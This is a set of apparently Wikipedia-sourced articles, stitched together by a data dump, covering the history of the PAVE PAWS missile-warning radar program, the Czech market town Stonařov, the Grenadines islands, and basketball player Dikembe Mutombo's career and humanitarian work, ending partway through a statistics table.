The Avco 474N Submarine Launched Ballistic Missile (SLBM) Detection and Warning System (SLBMD&W System) was deployed as "an austere…interim line-of-sight system" after approval in July 1965 to modify some Air Defense Command (ADC) Avco AN/FPS-26 Frequency Diversity Radars into Avco AN/FSS-7 SLBM Detection Radars. The 474N sites planned for 1968 also were to include AN/GSQ-89 data processing equipment (for synthesizing tracks from radar returns), as well as site communications equipment that NORAD requested on 10 May 1965 to allow "dual full period dedicated data circuits" to the Cheyenne Mountain 425L System, which was "fully operational" on 20 April 1966. (Cheyenne Mountain Complex relayed 474N data to "SAC, the National Military Command Center, and the Alternate NMCC over BMEWS circuits", for presentation by Display Information Processors—impact ellipses and "threat summary display" with a count of incoming missiles and "Minutes Until First Impact" countdown).
By December 1965 NORAD decided to use the Project Space Track "phased-array radar at Eglin AFB…for SLBM surveillance on an "on-call" basis" "at the appropriate DEFCON". By June 1966 the refined FPS-85 plan was for it "to have the capability to operate in the SLBM mode [interlaced transmissions] with the Spacetrack surveillance and tracking modes" Rebuilding of the "separate faces for transmitting and receiving" began in 1967 after the under-construction Eglin FPS-85 was "almost totally destroyed by fire on 5 January 1965". FPS-85 IOC was in 1969, 474N interim operations began in July 1970 (474N IOC was 5 May 1972), and in 1972 20% of Eglin FPS-85 "surveillance capability…became dedicated to search for SLBMs," and new SLBM software was installed in 1975. (the FPS-85 was expanded in 1974).
The Stanley R. Mickelsen Safeguard Complex with North Dakota phased arrays (four-face Missile Site Radar and single-face GE Perimeter Acquisition Radar, PAR) became operational in 1975 as part of the Safeguard Program for defending against enemy ballistic missiles.
Development
The SLBM Phased Array Radar System (SPARS) was the USAF program initiated in November 1972 by the Joint Chiefs of Staff (JCS) while the Army's PAR was under construction. A 1974 SPARS proposal for "two new SLBM Phased Array Warning Radars" was submitted to replace the east/west coast 474N detection radars, which had "limitations against Soviet SLBMs, particularly the longer range SS-N-8" on 1973 "Delta" class submarines. Development began in August 1973, SPARS was renamed PAVE PAWS on 18 February 1975, and system production was requested by a 13 June 1975 Request for Proposals (RFP). Rome Air Development Center (RADC) "was responsible for the design, fabrication installation, integration test, and evaluation of" PAVE PAWS through 1980.
The differing USAF AN/FPS-109 Cobra Dane phased array radar in Alaska achieved IOC on 13 July 1977 for "providing intelligence on Soviet test missiles fired at the Kamchatka peninsula from locations in southwestern Russia". The Safeguard PAR station that closed in 1976, had its radar "modified for the ADCOM mission during 1977 [and] ADCOM accepted [the Concrete Missile Early Warning Station] from the Army on 3 October 1977" for "SLBM surveillance of Arctic Ocean areas". By December 1977 RADC had developed the 322 watt PAVE PAWS "solid state transmitter and receiver module", and the System Program Office (ESD/OCL) issued the AN/FPS-115 "System Performance Specification …SS-OCLU-75-1A" on 15 December 1977. IBM's PAVE PAWS "beam-steering and pulse schedules from the CYBER-174" duplexed computers to the MODCOMP IV duplexed radar control computers were "based upon" PARCS program(s) installed for attack characterization in 1977 when the USAF received the Army's PAR. Bell Labs enhanced the PARCS beginning December 1978, e.g., "extending the range" by 1989 for the Enhanced PARCS configuration (EPARCS).
Environmental and health concerns
USAF environmental assessments in August 1975 and March 1976 for PAVE PAWS were followed by the EPA's Environmental Impact Analysis in December 1977. Environmental impacts were litigated in U.S. District Court in Boston. The government asserted the position that Pave Paws would protect the American coastline, while hiding the fact that it had no defensive armaments in the event an incoming missile was detected. The USAF requested the National Research Council (in May 1978) and a contractor, SRI International (April 1978), to assess PAVE PAWS radiation. Two NRC reports were prepared (1979, tbd), SRI's Environmental Impact Statement was reviewed during a 22 January 1979 public hearing at the Sandwich MA high school auditorium (~300 people). The studies found no elevated cancer risk from PAVE PAWS e.g., elevated Ewing's Sarcoma rates were not supported by 2005 available data (a December 2007 MA Department of Health report concluded it "appears unlikely that PAVE PAWS played a primary role in the incidence of Ewing family of tumors on Cape Cod.") A followup to a 1978 Air Force School of Aerospace Medicine report concluded in 2005 that power densities beyond were within permissible exposure limits. Consistent with other regulations to prevent interference with aircraft systems, the FAA restricts aircraft at altitudes below to maintain 1 nm (1.85 km) from the Cape Cod SSPARS phased array.
Deployment
The first Raytheon AN/FPS-115 radars were controlled by PAVE PAWS computers and had a "3 dB Beam Width" of 2.2 deg and had 27 October 1976 "ground-breaking ceremonies" at the East Coast Site. The East Coast site had been announced as Otis Air Force Base on 26 May (Beale Air Force Base was announced as the West Coast site), then Raytheon was contracted on 23 May. After first energized (Otis' south face for 1.5 hours on 3–4 April 1978), System Performance Testing at "the Otis AFB PAVE PAWS facility" was completed 16 January 1979. To mitigate interference at the FPS-115 site on Flatrock Hill from the Cape & Islands Emergency Medical Service (CIEMSS), on 8 February 1979 ESD installed six high pass filters—then Raytheon was contracted 24 May to move the EMS Repeater Station to Bourne, Massachusetts (completed 13 July). After a 5–7 March "final review of the East Coast PAVE PAWS EIS was held at Hq AFSC", the site was accepted by ESD on 12 April. The "first radio frequency transmission" from the West Coast Site was 23 March 1979 (it was completed in October 1979). "ADCOM wanted four [PAVE PAWS] sites, but by the end of 1979 only two had been funded".
The Cape Cod system reached Initial operating capability (IOC) as the Cape Cod Missile Early Warning Station on 4 April 1981 with initial operational test and evaluation (IOT&E) completed 21 May; Beale AFB reached IOC on 15 August. The two PAVE PAWS, three BMEWS, and the PARCS & FPS-85 radar stations transferred to Strategic Air Command (then Space Command) in 1983. By 1981 Cheyenne Mountain was providing 6,700 messages per hour including those based on input from the PAVE PAWS and the remaining FSS-7 stations. In 1981, as part of the Worldwide Military Command and Control System Information System (WIS), the Pentagon's National Military Command Center was receiving data "directly from the Satellite Early Warning System (SEWS) and directly from the PAVE PAWS sensor systems".
Beam Steering Unit (BSU) and Receiver Beam Former (REX) replacements were made on the four Cape Cod and Beale radars in the 1980s.
Expansion
The PAVE PAWS Expansion Program had begun by February 1982 to replace "older FPS-85 and FSS-7 SLBM surveillance radars in Florida with a new PAVE PAWS radar to provide improved surveillance of possible SLBM launch areas southeast of the United States [and for another] to the Southwest." After a 3 June 1983 RFP, Raytheon Company was contracted on 10 November and had a 22–23 February 1984 System Design Review for the Southeast and Southwest radars. The Expansion's Development Test and Engineering testing commenced on 3 February 1986 at the Southeast Site (PAVE PAWS Site 3, Robins Air Force Base—completed 5 June) and 15 August at the Southwest Site (PAVE PAWS Site 4, Eldorado Air Force Station). The Gulf Coast FPS-115s were operational in 1986 (Robins) and May 1987 (Eldorado IOC). In February 1995, all 4 radars were being netted by the "missile warning center at Cheyenne Mountain AS [which was] undergoing a $450 million upgrade program". Other centers receiving PAVE PAWS output were the 19xx Missile Correlation Center and 19xx Space Control Center.
During the End of Cold War draw down, the Eldorado and Robins radar stations closed in 1995. By October 1999, Cape Cod and Beale radars were providing data via Jam Resistant Secure Communication (JRSC) circuits to the Command Center Processing and Display System in the NMCC. The transition of BMEWS and PAVE PAWS to SSPARS had begun with the 4 AN/FPS-50 BMEWS radars near Thule Air Base being replaced with a Raytheon AN/FPS-120 Solid State Phased Array Radar at Thule Site J (operational "2QFY87").
In Taiwanese service
An AN/FPS-115 system was sold to Taiwan in 2000 and installed at Loshan or Leshan Mountain, Tai'an, Miaoli in 2006. It was commissioned into service in 2013. The system cost approximately 1.4 billion USD and Raytheon was the prime contractor. It provides up to six minutes notice of Chinese ballistic missile attack. The system spends most of its time observing satellites and orbital debris, this information is shared with the United States. In 2016 Raytheon Integrated Defense Systems was awarded a $26.2 million contract to upgrade Taiwan's radar system. This followed on a $289.5 million sustainment contract with Raytheon was awarded in 2012. It has been reported that the defenses of Taiwan's PAVE PAWS system include a land based Phalanx CIWS.
Taiwan had explored the acquisition of a second PAVE PAWS set but in 2012 decided against the purchase as the first PAVE PAWS set was significantly over budget and behind schedule. The second system would have been located in the south and together the PAVE PAWS sets would have provided Taiwan with 360-degree coverage.
The radar site in Taiwan sits on top of a mountain at an elevation of over 2,600 m (8,500 ft). Due to its extremely elevated position the Taiwanese set has the unique ability to track surface ships. Detection and tracking data is believed to be shared with the United States in real time however this has not been officially confirmed.
The radar site was first occupied by a Naval Maritime and Surveillance Command radar surveillance facility which was relocated to a higher peak in the same region to make way for the PAVE PAWS.
Replacement
The Solid State Phased Array Radar System (SSPARS) began replacing PAVE PAWS when the first AN/FPS-115 face was taken off-line for the radar upgrade. New Raytheon AN/FPS-123 Early Warning Radars became operational in 19xx (Beale) and 19xx (Cape Cod) in each base's existing PAVE PAWS "Scanner Building". RAF Fylingdales, UK and Clear Space Force Station, Alaska BMEWS stations became SSPARS radar stations when their respective AN/FPS-126 radar (3 faces) and 2001 Raytheon AN/FPS-120 Solid State Phased Array Radar became operational. In 2007, 100 owners/trustees of amateur radio repeaters in the 420 to 450 MHz band near AN/FPS-123 radars were notified to lower their power output to mitigate interference, and AN/FPS-123s were part of the Air Force Space Surveillance System by 2009. The Beale AN/FPS-123 was upgraded to a Raytheon AN/FPS-132 Upgraded Early Warning Radar (UEWR), circa 2012, with capabilities to operate in the Ground-based Midcourse Defense (GMD) ABM system—the Beale UEWR included Avionics, Transmit-Receive modules, Receiver Exciter / Test Target Generator, Beam Steering Generator, Signal Processor, and other changes. After additional UEWR installations for GMD at Thule Site J and the UK (contracted 2003), a 2012 ESD/XRX Request for Information for replacement, and remote operation, of the remaining "PAVE PAWS/BMEWS/PARCS systems" at Cape Cod, Alaska, and North Dakota was issued. The Alaska AN/FPS-132 was contracted in fall 2012 and in 2013, the U.S. announced a plan to sell an AN/FPS-132 to Qatar.
See also
Dunay radar, a UHF radar with a similar function and era of development.
Voronezh radar, the latest post Soviet-era Russian equivalent.
Notes
References
External links
1978 establishments in the United States
Radar networks
United States Space Surveillance Network
Cold War military equipment of the United States Air Force
Military history of Taiwan
Military equipment introduced in the 1980s | [
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241111 | https://en.wikipedia.org/wiki/Stona%C5%99ov | Stonařov | Stonařov (); ) is a market town in Jihlava District in the Vysočina Region of the Czech Republic. It has about 1,100 inhabitants.
Administrative parts
The hamlet of Sokolíčko is an administrative part of Stonařov.
History
The first written mention of Stonařov is from 1347. The settlement was established in the early 13th century. In 1367 it received market town privileges.
Peasant rebellions from 1712–1722 were suppressed. The main trade and post road between Prague and Vienna built in 1750 went through Stonařov. On 22 May 1808 the place was hit by the Stannern meteorite.
Agriculture and small-scale textile production were the main sources of income, though at the end of the 19th century two textile manufacturies were built here. The municipality was damaged by large fires in 1900 and 1901. Before World War I the place was a target of tourists from Vienna. German-speaking inhabitants were expelled after the end of World War II.
Notable people
Arthur Seyss-Inquart (1892–1946), Austrian Nazi politician
Other
The asteroid 61208 Stonařov was named in its honour on 1 June 2007.
References
External links
Populated places in Jihlava District
Market towns in the Czech Republic | [
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241112 | https://en.wikipedia.org/wiki/Grenadines | Grenadines | The Grenadines are a chain of small islands that lie on a line between the larger islands of Saint Vincent and Grenada in the Lesser Antilles. Nine are inhabited and open to the public (or ten, if the offshore island of Young Island is counted): Bequia, Mustique, Canouan, Union Island, Petit St Vincent, Palm Island and Mayreau, all in Saint Vincent and the Grenadines, plus Petite Martinique and Carriacou in Grenada. Several additional privately owned islands such as Calivigny are also inhabited. Notable uninhabited islands of the Grenadines include Petit Nevis, used by whalers, and Petit Mustique, which was the centre of a prominent real estate scam in the early 2000s.
The northern two-thirds of the chain, including about 32 islands and cays, are part of the country of Saint Vincent and the Grenadines. The southern third of the chain belongs to the country of Grenada. Carriacou is the largest and most populous of the Grenadines.
Geographic boundaries
The islands are politically divided between the island nations of Saint Vincent and the Grenadines and Grenada. They lie between the islands of Saint Vincent in the north and Grenada in the south. Neither Saint Vincent nor Grenada are Grenadine islands. The islands north of the Martinique Channel belong to Saint Vincent and the Grenadines and the islands south of the channel belong to Grenada.
Larger islands of the Grenadines
Saint Vincent and the Grenadines
The total population of the Grenadine islands within Saint Vincent and the Grenadines is estimated to be 10,234.
The following islands make up the Grenadines Parish:
Grenada
Carriacou and Petite Martinique is a dependency of Grenada and has a population of 10,900 people. Carriacou is the largest of the Grenadine chain. These islands contains:
References
External links
Grenadines Photo Guide from Paradise Islands (non commercial site)
Islands of Saint Vincent and the Grenadines
Islands of Grenada
International archipelagoes
Grenada–Saint Vincent and the Grenadines border | [
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241113 | https://en.wikipedia.org/wiki/Dikembe%20Mutombo | Dikembe Mutombo | Dikembe Mutombo Mpolondo Mukamba Jean-Jacques Wamutombo (born June 25, 1966) is a Congolese-American former professional basketball player. Mutombo played 18 seasons in the National Basketball Association (NBA). Outside basketball, he has become well known for his humanitarian work.
The , center, who began his career with the Georgetown Hoyas, is commonly regarded as one of the greatest shot blockers and defensive players of all time, winning the NBA Defensive Player of the Year Award four times; he was also an eight-time All-Star. On January 10, 2007, he surpassed Kareem Abdul-Jabbar as the second most prolific shot blocker in NBA history, behind only Hakeem Olajuwon, and he averaged a double-double for most of his career.
At the conclusion of the 2009 NBA playoffs, Mutombo announced his retirement. On September 11, 2015, he was inducted into the Naismith Memorial Basketball Hall of Fame.
Early life
Mutombo was born on June 25, 1966, in Leopoldville (today Kinshasa), Democratic Republic of the Congo, one of 10 children of Samuel and Biamba Marie Mutombo. He speaks English, French, Spanish, Portuguese, and five Central African languages, including Lingala and Tshiluba. He is a member of the Luba ethnic group. For high school, Mutombo went to Boboto College in Kinshasha, DR Congo to lay the groundwork for his medical career as the classes were more challenging there. At around age 16, Mutombo decided to also work on his basketball career. He moved to the United States in 1987 at the age of 21 to enroll in college.
College
Mutombo attended Georgetown University on a USAID scholarship. He originally intended to become a doctor, but the Georgetown Hoyas basketball coach John Thompson recruited him to play basketball. He spoke almost no English when he arrived at Georgetown and studied in the ESL program. During his first year of college basketball as a sophomore, Mutombo once blocked 12 shots in a game. Building on the shot-blocking power of Mutombo and teammate Alonzo Mourning, Georgetown fans created a "Rejection Row" section under the basket, adding a big silhouette of an outstretched hand to a banner for each shot blocked during the game. Mutombo was named the Big East Defensive Player of the Year twice, in 1990 (shared with Mourning) and in 1991.
At Georgetown, Mutombo's international background and interests stood out. Like many other Washington-area college students, he served as a summer intern, once for the Congress of the United States and once for the World Bank. In 1991, he graduated with bachelor's degrees in linguistics and diplomacy.
NBA career
Denver Nuggets
In the 1991 NBA draft, the Denver Nuggets drafted Mutombo with the fourth overall pick. The Nuggets ranked last in the NBA in opponent points-per-game and Defensive Rating, and Mutombo's shot-blocking ability made an immediate impression across the league. He developed his signature move in 1992 as a way to become more marketable and gain product endorsement contracts. After blocking a player's shot, he would point his right index finger at that player and move it side to side. That year, Mutombo starred in an Adidas advertisement that used the catchphrase "Man does not fly ... in the house of Mutombo", a reference to his prolific shot-blocking. As a rookie, Mutombo was selected for the All-Star team and averaged 16.6 points, 12.3 rebounds, and nearly three blocks per game.
Mutombo began establishing himself as one of the league's best defensive players, regularly putting up big rebound and block numbers. The 1993–94 season saw Denver continue to improve with Mutombo as the franchise cornerstone. During that season, Mutombo averaged 12.0 points per game, 11.8 rebounds per game, and 4.1 blocks per game. With that, he helped the Nuggets finish with a 42-40 record and qualify as the eighth seed in the playoffs. They were matched up with the top-seeded 63–19 Seattle SuperSonics in the first round.
After falling to an 0-2 deficit in the five-game series, Denver won three straight games to pull off a major playoff upset, becoming the first eighth seed to defeat a number one seed in an NBA playoff series. At the end of Game 5, Mutombo memorably grabbed the game-winning rebound and fell to the ground, holding the ball over his head in a moment of joy. Mutombo's defensive presence was the key to the upset victory; his total of 31 blocks remains a record for a five-game series. In the second round of the playoffs, the Nuggets fell to the Utah Jazz, 4-3.
The following season, he was selected for his second All-Star game and received the NBA Defensive Player of the Year Award. But Denver failed to build on its success from the previous playoffs, as Mutombo lacked a quality supporting cast around him. During his last season with the Nuggets, Mutombo averaged 11.0 points per game, 11.8 rebounds per game and a career-high 4.5 blocks per game.
At the conclusion of the 1995–96 season, Mutombo became a free agent, and reportedly sought a 10-year contract, something the Nuggets considered impossible to offer. Bernie Bickerstaff, then the Nuggets' general manager, later said not bringing back Mutombo was his biggest regret as GM.
Atlanta Hawks
After the 1995–96 NBA season, Mutombo signed a 5-year, $55 million free agent contract with the Atlanta Hawks. He and Hawks All-Star Steve Smith led Atlanta to back-to-back 50+-win seasons in 1996–97 (56–26) and 1997–98 (50–32). Mutombo won Defensive Player of the Year both years, continuing to put up excellent defensive numbers with the Hawks. In the 1997 NBA Playoffs, the Hawks defeated the Detroit Pistons in five games. In Game 1 of that series, Mutombo led all scorers and rebounders, with 26 points and 15 rebounds respectively, in a 89-75 win over the Pistons. In the next round, despite Mutombo averaging a double-double and 2.6 blocks per game, the Hawks lost in five games to the defending champion Chicago Bulls. The following season, on April 9, 1998, Mutombo scored 20 points and grabbed 24 rebounds in a 105-102 loss to the Indiana Pacers. That season ended in disappointment for Mutombo and the Hawks, as despite finishing with a similar record to the previous season, Mutombo averaged only 8.0 points and 12.8 rebounds a game while the Hawks lost to their division rival Charlotte Hornets three games to one in the first round. During the lockout-shortened 1998–99 season, he was the NBA's IBM Award winner, a player of the year award determined by a computerized formula. That year, the NBA banned the Mutombo finger wag, and after a period of protest, he complied with the new rule.
In what would be his last full season with the Hawks during the 1999-00 season, Mutombo averaged 11.5 points per game, a career and league-high 14.1 rebounds per game, and 3.3 blocks per game. On December 14, 1999, Mutombo scored 27 points, on 11-for-11 shooting from the field, grabbed a season-high 29 rebounds and recorded a game-high 6 blocks to pull out the win over the Minnesota Timberwolves.
Philadelphia 76ers
At the February 2001 trade deadline, the Hawks traded Mutombo to the Eastern Conference-leading Philadelphia 76ers, along with Roshown McLeod, in exchange for Pepe Sánchez, Toni Kukoč, future teammate Nazr Mohammed, and injured center Theo Ratliff. One week earlier, Mutombo played in the All-Star game; he led the game with 22 rebounds and 3 blocks. Along with game MVP Allen Iverson and coach Larry Brown, both of the 76ers, the East rallied from a 95–74 fourth-quarter deficit to win 111-110 on Mutombo and Iverson's strong performances. After the game, rumors began of a trade sending Mutombo to Philadelphia. With Ratliff out for the remainder of the year, the Sixers needed a big man to compete with potential matchups against Western Conference powers Vlade Divac, Tim Duncan, David Robinson or Shaquille O'Neal, should they reach the NBA Finals.
In arguably his best season as a pro, Mutombo earned his fourth Defensive Player of the Year award that season. During the 2001 Playoffs, they defeated the Indiana Pacers in 4 games, Toronto Raptors in 7 games and Milwaukee Bucks in a 7-game series. During Game 7 against the Bucks, Mutombo scored 23 points, grabbed 19 rebounds and blocked 7 shots to win the series. Mutombo helped the Sixers reach the NBA Finals. After pulling off an upset and winning Game 1 against the Los Angeles Lakers (the only playoff game the Lakers lost in 2001), the Sixers lost the next four games and the series. Matched up against Shaq, Mutombo averaged 16.8 points, 12.2 rebounds and 2.2 blocks. A free-agent, he re-signed with the Sixers after the season to a four-year, $68 million contract.
The 2001–02 season saw a change in the Eastern conference hierarchy; the Sixers were eliminated in the first round of the playoffs, while the New Jersey Nets surged to the top of the standings, making it all the way to the Finals against the Lakers (the Nets were swept).
New Jersey Nets
Looking for a big man to compete with the likes of Shaquille O'Neal and Tim Duncan, the Nets sent future teammate Keith Van Horn and Todd MacCulloch to Philadelphia in exchange for Mutombo. But Mutombo spent most of that season with a nagging injury that limited him to just 24 games. He was generally unable to play in the playoffs, typically serving as a sixth man during the Nets' second consecutive Finals run (they lost to the Spurs in six games). After one contentious season in New Jersey, the Nets bought out the remaining two years on his contract.
New York Knicks
In October 2003, he signed a two-year deal with the New York Knicks. After a dominant performance against the crosstown rival New Jersey Nets that included 10 blocks, Knicks fans began waving their fingers at Mutombo.
He chose to respond in kind after a referee told him that as long as the gesture was not directed at a particular player, the league would not punish him. In August 2004, the Knicks traded him to the Chicago Bulls, along with Cezary Trybański, Othella Harrington, and Frank Williams in exchange for Jerome Williams and Jamal Crawford.
Houston Rockets
Prior to the 2004–05 season, the Bulls traded Mutombo to the Houston Rockets for Mike Wilks, Eric Piatkowski and Adrian Griffin. Yao Ming and Mutombo formed one of the NBA's most productive center combos. In his first season with the Rockets, Mutombo averaged 15.2 MPG, 5.3 RPG, 4.0 PPG, and 1.3 BPG. The Rockets lost in the first round to the Dallas Mavericks.
On March 2, 2007, in a win over the Denver Nuggets at age 40, Mutombo became the oldest player in NBA history to record more than 20 rebounds in a game, with 22.
In the 2007–08 season, Mutombo received extensive playing time when Yao went down with a broken bone and averaged double digits in rebounding as a starter. In midst of a 10-game winning streak at the time of Yao's injury, Mutombo stepped in and helped the Rockets win 12 more games to complete a 22-game winning streak, then a team record.
On January 10, 2008, in a 102–77 rout of the Los Angeles Lakers, Mutombo recorded 5 blocked shots and surpassed Kareem Abdul-Jabbar in total career blocked shots, trailing only Hakeem Olajuwon.
After contemplating retirement and spending the first part of 2008 as an unsigned free agent, on December 31, 2008, Mutombo signed with the Houston Rockets for the remainder of the 2008–09 season. He said that the 2009 would be his "farewell tour" and his final season; he was the oldest player in the NBA in 2009. In Game 1 of Houston's first-round playoff series against Portland, Mutombo played for 18 minutes and had nine rebounds, two blocks, and a steal.
In the 2nd quarter of Game 2, Mutombo landed awkwardly and had to be carried from the floor. After the game, he said, "it's over for me for my career" and that surgery would be needed. It was later confirmed that the quadriceps tendon of his left knee was ruptured in Game 2. Mutombo announced retirement on April 23, 2009, after 18 seasons in the NBA.
Player profile
The , Mutombo played center, where he was regarded as one of the top inside defenders of all time. Nicknamed "Mt. Mutombo", his combination of height, power, and long arms led to a record-tying four NBA Defensive Player of the Year awards, a feat equaled only by Ben Wallace. Mutombo was among the top three players in Defensive Player of the Year voting for nine consecutive seasons from 1994 to 2002. Staples of Mutombo's defensive prowess were his outstanding shot-blocking and rebounding power. Over his career, he averaged 2.8 blocks and 10.3 rebounds per game. He is second all-time in registered blocks, behind only Hakeem Olajuwon, and is the 20th most prolific rebounder ever. He was also an eight-time All-Star and was elected into three All-NBA and six All-Defensive Teams. Along with his defensive prowess, Mutombo also contributed offensively, averaging at least 10 points per game until he reached age 35.
Mutombo also achieved a certain level of on-court notoriety. After a successful block, he was known for taunting his opponents by waving his index finger, like a parent reproaching a disobedient child. Later in his career, NBA officials would respond to the gesture with a technical foul for unsportsmanlike conduct. To avoid the technical foul, Mutombo took to waving his finger at the crowd or the TV cameras after a block, which is not considered taunting by the rules. Additionally, his flailing elbows were known for injuring several NBA players, including Michael Jordan, Dennis Rodman, Charles Oakley, Patrick Ewing, Chauncey Billups, Ray Allen, Yao Ming, LeBron James and Tracy McGrady. His former teammate Yao Ming made a joke about it: "I need to talk to Coach to have Dikembe held out of practice, because if he hits somebody in practice, it's our teammate. At least in the games, it's 50/50."
Personal life
In 1987, Mutombo's 6'10" older brother, Ilo, began playing college basketball in Division II for the Southern Indiana Screaming Eagles as a 26-year-old freshman. The brothers played against each other in a 1990 game at the Capital Centre.
He met his wife, Rose, during a visit to Kinshasa in 1995. They live in Atlanta and have three children together. They also adopted four children from Rose's deceased brothers. His son, Ryan, was ranked as the 16th best center in high school and committed in 2021 to play at Georgetown.
Mutombo was awarded an honorary Doctor of Humane Letters by the State University of New York College at Cortland in 2004 for his humanitarian work in Africa. More recently, he was awarded an honorary doctorate by Georgetown University in 2010. There he delivered the commencement address for Georgetown College of Arts and Sciences, of which he is an alumnus. He also received an honorary doctorate from Haverford College in May 2011.
In November 2015, the NCAA announced Mutombo as a recipient of its Silver Anniversary Awards for 2016. The awards are presented annually to six former NCAA athletes on the 25th anniversary of the final academic year of their college careers, recognizing both excellence of play while in college and professional achievement after college. The announcement cited both his basketball career and extensive humanitarian work.
Mutombo's nephew Harouna Mutombo played college basketball for the Western Carolina Catamounts and professionally in Europe. Harouna was the team's leading scorer for the 2009 season and was named Southern Conference Freshman of the Year. His nephew Haboubacar Mutombo also committed to play basketball at Western Carolina beginning in 2013. His nephew Mfiondu Kabengele played college basketball at Florida State University and was the 2018–19 ACC Sixth Man of the Year. He later was drafted in the first round of the 2019 NBA draft and signed a playing contract with the Los Angeles Clippers.
His son, Ryan Mutombo, currently plays college basketball for Georgetown. Ryan is listed at and plays center. Coming out of high school, Ryan was a highly touted 4 star recruit in the 2021 recruiting class.
Mutombo was among those who witnessed the 2016 Brussels bombings at Brussels Airport on March 22, 2016. Shortly after the bombings, he posted a report on his Facebook page saying that he was safe. His first post said, "God is good. I am in the Brussels Airport with this craziness. I am fine."
Media
Mutombo made a cameo appearance in the 2002 films Juwanna Mann and Like Mike, which also mentioned his name in its theme song "Basketball".
In 2012, Mutombo lent his voice and likeness to a 16-bit style Flash game released by Old Spice.
Mutombo appeared in a GEICO auto insurance commercial in February 2013, parodying his shot-blocking ability by applying it to real world situations.
Mutombo co-starred with Kevin Harvick in a Mobil 1 commercial for its annual protection brand, saying "Don't change your oil."
Mutombo had a brief cameo in the 2021 film Coming 2 America as himself.
Humanitarian work
A well-known humanitarian, Mutombo started the Dikembe Mutombo Foundation to improve living conditions in his native Democratic Republic of Congo in 1997. His efforts earned him the NBA's J. Walter Kennedy Citizenship Award in 2001 and 2009. For his feats, Sporting News named him as one of the "Good Guys in Sports" in 1999 and 2000, and in 1999, he was elected as one of 20 winners of the President's Service Awards, the nation's highest honor for volunteer service. In 2004, he participated in the Basketball Without Borders NBA program, where NBA stars like Shawn Bradley, Malik Rose and DeSagana Diop toured Africa to spread the word about basketball and to improve the infrastructure. He paid for uniforms and expenses for the Zaire women's basketball team during the 1996 Centennial Olympic Games in Atlanta. Mutombo is a spokesman for the international relief agency, CARE and is the first youth emissary for the United Nations Development Program.
Mutombo is a longtime supporter of Special Olympics and is currently a member of the Special Olympics International Board of Directors, as well as a Global Ambassador. He has been a pioneer of Unified Sports, which brings together people with and without intellectual disabilities. He also played in the Unity Cup in South Africa before the 2010 World Cup Quarterfinal, along with South African President Jacob Zuma and Special Olympics athletes from around the world. Mutombo joined his second Unity Cup team in 2012.
In honor of his humanitarianism, Mutombo was invited to President George W. Bush's 2007 State of the Union Address and was referred to as a "son of the Congo" by the President in his speech. Mutombo later said, "My heart was full of joy. I didn't know the President was going to say such great remarks."
On April 13, 2011, the Johns Hopkins Bloomberg School of Public Health gave Mutombo the Goodermote Humanitarian Award "for his efforts to reduce polio globally as well as his work improving the health of neglected and underserved populations in the Democratic Republic of Congo." Michael J. Klag, dean of the Bloomberg School of Public Health, said "Mr. Mutombo is a winner in many ways—on the court and as a humanitarian. His work has improved the health of the people of the Democratic Republic of the Congo, and the Biamba Marie Mutombo Hospital and Research Center is a model for the region. Likewise, Mr. Mutombo has been instrumental in the fight against polio by bolstering vaccination efforts and bringing treatment to victims of the disease."
In 2012, the Mutombo Foundation, in partnership with Mutombo's alma mater, Georgetown University, began a new initiative that aims to provide care for visually impaired children from low-income families in the Washington, D.C. region. In 2020, the foundation began construction of a modern pre-K through 6th grade school outside the city of Mbuji-Mayi in the Democratic Republic of Congo.
Biamba Marie Mutombo Hospital
In 1997, the Mutombo Foundation began plans to open a $29 million, 300-bed hospital on the outskirts of his hometown, the Congolese capital of Kinshasa. Ground was broken in 2001, but construction didn't start until 2004, as Mutombo had trouble getting donations early on although he personally donated $3.5 million toward the hospital's construction. Initially Mutombo had some other difficulties, almost losing the land to the government because it was not being used and having to pay refugees who had begun farming the land to leave. He also struggled to reassure some that he did not have any ulterior or political motives for the project. The project has been on the whole very well received at all social and economic levels in Kinshasa.
On August 14, 2006, Mutombo donated $15 million to the completion of the hospital for its ceremonial opening on September 2, 2006. It was by then named Biamba Marie Mutombo Hospital, for his late mother, who died of a stroke in 1997.
When it opened in 2007, the $29 million facility became the first modern medical facility to be built in that area in nearly 40 years. His hospital is on a site on the outskirts of Kinshasa in Masina, where about a quarter of the city's 7.5 million residents live in poverty. It is minutes from Kinshasa's airport and near a bustling open-air market.
National Constitution Center
Mutombo serves on the Board of Trustees of the National Constitution Center in Philadelphia, which is a museum dedicated to the U.S. Constitution.
SportsUnited
In 2011, Mutombo also traveled to South Sudan as a SportsUnited sports envoy for the U.S. Department of State. In this capacity, he worked with Sam Perkins to lead a series of basketball clinics and team-building exercises with 50 youth and 36 coaches. This helped contribute to the State Department's mission to remove barriers and create a world in which individuals with disabilities enjoy dignity and full inclusion in society.
Ask The Doctor
In April 2020, Dikembe Mutombo officially joined the team at Ask The Doctor as their chief global officer. Ask The Doctor is a platform that connects people from all over the world to top doctors and healthcare professionals.
Career summary and highlights
4-time NBA Defensive Player of the Year: 1995, 1997, 1998, 2001
8-time NBA All-Star: 1992, 1995, 1996, 1997, 1998, 2000, 2001, 2002
3-time All-NBA:
Second Team: 2001
Third Team: 1998, 2002
6-time All-Defensive:
First Team: 1997, 1998, 2001
Second Team: 1995, 1999, 2002
NBA All-Rookie First Team: 1992
2nd in Career NBA Blocks: 3,256
2-time NBA regular-season leader, rebounding average: 2000 (14.1), 2001 (13.5)
4-time NBA regular-season leader, total rebounds: 1995 (1029), 1997 (929), 1999 (610), 2000 (1157)
NBA regular-season leader, offensive rebounds: 2001 (307)
2-time NBA regular-season leader, defensive rebounds: 1999 (418), 2000 (853)
3-time NBA regular-season leader, blocked shots average: 1994 (4.1), 1995 (3.9), 1996 (4.5)
5-time NBA regular-season leader, total blocks: 1994 (336), 1995 (321), 1996 (332), 1997 (264), 1998 (277)
Invited to be a special guest at 2007 President George W. Bush's State of the Union address; commended for his humanitarian aid to his homeland
Oldest player in NBA history to collect over 20 rebounds in a game (40 years old, March 2, 2007 vs. Denver Nuggets)
Retired NBA alumnus in Team Africa at the 2015 NBA Africa exhibition game.
Hall of Fame Class of 2015
NCAA Silver Anniversary Award (Class of 2016)
No. 55 retired by the Atlanta Hawks (November 24, 2015)
No. 55 retired by the Denver Nuggets (October 29, 2016)
Sager Strong Award (June 25, 2018)
NBA career statistics
Regular season
|-
| style="text-align:left;"| 1991–92
| style="text-align:left;"| Denver
| 71 || 71 || 38.3 || .493 || .000 || .642 || 12.3 || 2.2 || .6 || 3.0 || 16.6
|-
| style="text-align:left;"| 1992–93
| style="text-align:left;"| Denver
| 82 || 82 || 36.9 || .510 || .000 || .681 || 13.0 || 1.8 || .5 || 3.5 || 13.8
|-
